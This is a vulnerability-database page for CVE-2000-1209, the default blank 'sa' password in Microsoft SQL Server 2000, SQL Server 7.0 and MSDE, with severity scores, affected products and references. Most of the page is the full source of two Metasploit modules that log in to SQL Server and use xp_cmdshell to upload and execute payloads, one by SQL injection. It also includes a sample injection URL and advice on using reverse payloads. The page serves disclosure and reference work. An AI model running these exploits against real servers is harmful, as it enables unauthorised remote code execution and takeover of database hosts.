CVE-2000-1209 : Detail

CVE-2000-1209

76.96%V3
Network
2002-08-10
02h00 +00:00
2016-10-17
11h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The "sa" account is installed with a default null password on (1) Microsoft SQL Server 2000, (2) SQL Server 7.0, and (3) Data Engine (MSDE) 1.0, including third party packages that use these products such as (4) Tumbleweed Secure Mail (MMS) (5) Compaq Insight Manager, and (6) Visio 2000, which allows remote attackers to gain privileges, as exploited by worms such as Voyager Alpha Force and Spida.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 16395

Publication date : 2010-12-20 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: mssql_payload.rb 11392 2010-12-21 20:36:34Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MSSQL include Msf::Exploit::CmdStagerVBS #include Msf::Exploit::CmdStagerDebugAsm #include Msf::Exploit::CmdStagerDebugWrite #include Msf::Exploit::CmdStagerTFTP def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft SQL Server Payload Execution', 'Description' => %q{ This module executes an arbitrary payload on a Microsoft SQL Server by using the "xp_cmdshell" stored procedure. Currently, three delivery methods are supported. First, the original method uses Windows 'debug.com'. File size restrictions are avoidied by incorporating the debug bypass method presented by SecureStat at Defcon 17. Since this method invokes ntvdm, it is not available on x86_64 systems. A second method takes advantage of the Command Stager subsystem. This allows using various techniques, such as using a TFTP server, to send the executable. By default the Command Stager uses 'wcsript.exe' to generate the executable on the target. Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the payload on the target. NOTE: This module will leave a payload executable on the target system when the attack is finished. }, 'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', # original module, debug.exe method, powershell method 'jduck' # command stager mods ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11392 $', 'References' => [ # 'sa' password in logs [ 'CVE', '2000-0402' ], [ 'OSVDB', '557' ], [ 'BID', '1281' ], # blank default 'sa' password [ 'CVE', '2000-1209' ], [ 'OSVDB', '15757' ], [ 'BID', '4797' ] ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 30 2000' )) register_options( [ OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]), OptString.new('METHOD', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'cmd' ]) ]) end # This is method required for the CmdStager to work... def execute_command(cmd, opts) mssql_xpcmdshell(cmd, datastore['VERBOSE']) end def exploit if (not mssql_login_datastore) print_status("Invalid SQL Server credentials") return end method = datastore['METHOD'].downcase if (method =~ /^cmd/) execute_cmdstager({ :linemax => 1500, :nodelete => true }) #execute_cmdstager({ :linemax => 1500 }) else # Generate the EXE, this is the same no matter what delivery mechanism we use exe = generate_payload_exe # Use powershell method for payload delivery if specified if (method =~ /^ps/) or (method =~ /^power/) powershell_upload_exec(exe) else # Otherwise, fall back to the old way.. mssql_upload_exec(exe, datastore['VERBOSE']) end end handler disconnect end end
Exploit Database EDB-ID : 16394

Publication date : 2011-02-07 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: mssql_payload_sqli.rb 11730 2011-02-08 23:31:44Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::MSSQL_SQLI include Msf::Exploit::CmdStagerVBS def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft SQL Server Payload Execution via SQL injection', 'Description' => %q{ This module will execute an arbitrary payload on a Microsoft SQL Server, using a SQL injection vulnerability. Once a vulnerability is identified this module will use xp_cmdshell to upload and execute Metasploit payloads. It is necessary to specify the exact point where the SQL injection vulnerability happens. For example, given the following injection: http://www.example.com/show.asp?id=1;exec xp_cmdshell 'dir';--&cat=electrical you would need to set the following path: set GET_PATH /showproduct.asp?id=1;[SQLi];--&cat=foobar In regard to the payload, unless there is a closed port in the web server, you dont want to use any "bind" payload, specially on port 80, as you will stop reaching the vulnerable web server host. You want a "reverse" payload, probably to your port 80 or to any other outbound port allowed on the firewall. For privileged ports execute Metasploit msfconsole as root. Currently, three delivery methods are supported. First, the original method uses Windows 'debug.com'. File size restrictions are avoidied by incorporating the debug bypass method presented by SecureStat at Defcon 17. Since this method invokes ntvdm, it is not available on x86_64 systems. A second method takes advantage of the Command Stager subsystem. This allows using various techniques, such as using a TFTP server, to send the executable. By default the Command Stager uses 'wcsript.exe' to generate the executable on the target. Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the payload on the target. NOTE: This module will leave a payload executable on the target system when the attack is finished. }, 'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', # original module, debug.exe method, powershell method 'jduck', # command stager mods 'Rodrigo Marcos' # SQL injection mods ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11730 $', 'References' => [ # 'sa' password in logs [ 'CVE', '2000-0402' ], [ 'OSVDB', '557' ], [ 'BID', '1281' ], # blank default 'sa' password [ 'CVE', '2000-1209' ], [ 'OSVDB', '15757' ], [ 'BID', '4797' ], # code and comments [ 'URL', 'http://www.secforce.co.uk/blog/2011/01/penetration-testing-sql-injection-and-metasploit/' ] ], 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%", }, 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 30 2000' )) register_options( [ OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]), OptString.new('DELIVERY', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'old' ]) ]) end # This is method required for the CmdStager to work... def execute_command(cmd, opts) mssql_xpcmdshell(cmd, datastore['VERBOSE']) end def exploit method = datastore['DELIVERY'].downcase if (method =~ /^cmd/) execute_cmdstager({ :linemax => 1500, :nodelete => true }) #execute_cmdstager({ :linemax => 1500 }) else # Generate the EXE, this is the same no matter what delivery mechanism we use exe = generate_payload_exe # Use powershell method for payload delivery if specified if (method =~ /^ps/) or (method =~ /^power/) powershell_upload_exec(exe) else # Otherwise, fall back to the old way.. mssql_upload_exec(exe, datastore['VERBOSE']) end end print_status("Almost there, the stager takes a while to execute. Waiting 50 seconds...") select(nil,nil,nil,50) handler disconnect end end

Products Mentioned

Configuraton 0

Compaq>>Insight_manager >> Version 7.0

Compaq>>Insight_manager >> Version 7.0

    Compaq>>Insight_manager_xe >> Version 1.1

    Compaq>>Insight_manager_xe >> Version 1.21

    Compaq>>Insight_manager_xe >> Version 2.1

    Compaq>>Insight_manager_xe >> Version 2.1b

    Compaq>>Insight_manager_xe >> Version 2.1c

    Compaq>>Insight_manager_xe >> Version 2.2

    Microsoft>>Data_engine >> Version 1.0

    Microsoft>>Msde >> Version 2000

    References

    http://www.osvdb.org/3570
    Tags : vdb-entry, x_refsource_OSVDB
    http://www.securityfocus.com/bid/4797
    Tags : vdb-entry, x_refsource_BID
    http://marc.info/?l=bugtraq&m=96333895000350&w=2
    Tags : mailing-list, x_refsource_BUGTRAQ
    http://www.kb.cert.org/vuls/id/635463
    Tags : third-party-advisory, x_refsource_CERT-VN
    http://marc.info/?l=bugtraq&m=96644570412692&w=2
    Tags : mailing-list, x_refsource_BUGTRAQ
    http://online.securityfocus.com/archive/1/273639
    Tags : mailing-list, x_refsource_BUGTRAQ
    http://marc.info/?l=bugtraq&m=96593218804850&w=2
    Tags : mailing-list, x_refsource_BUGTRAQ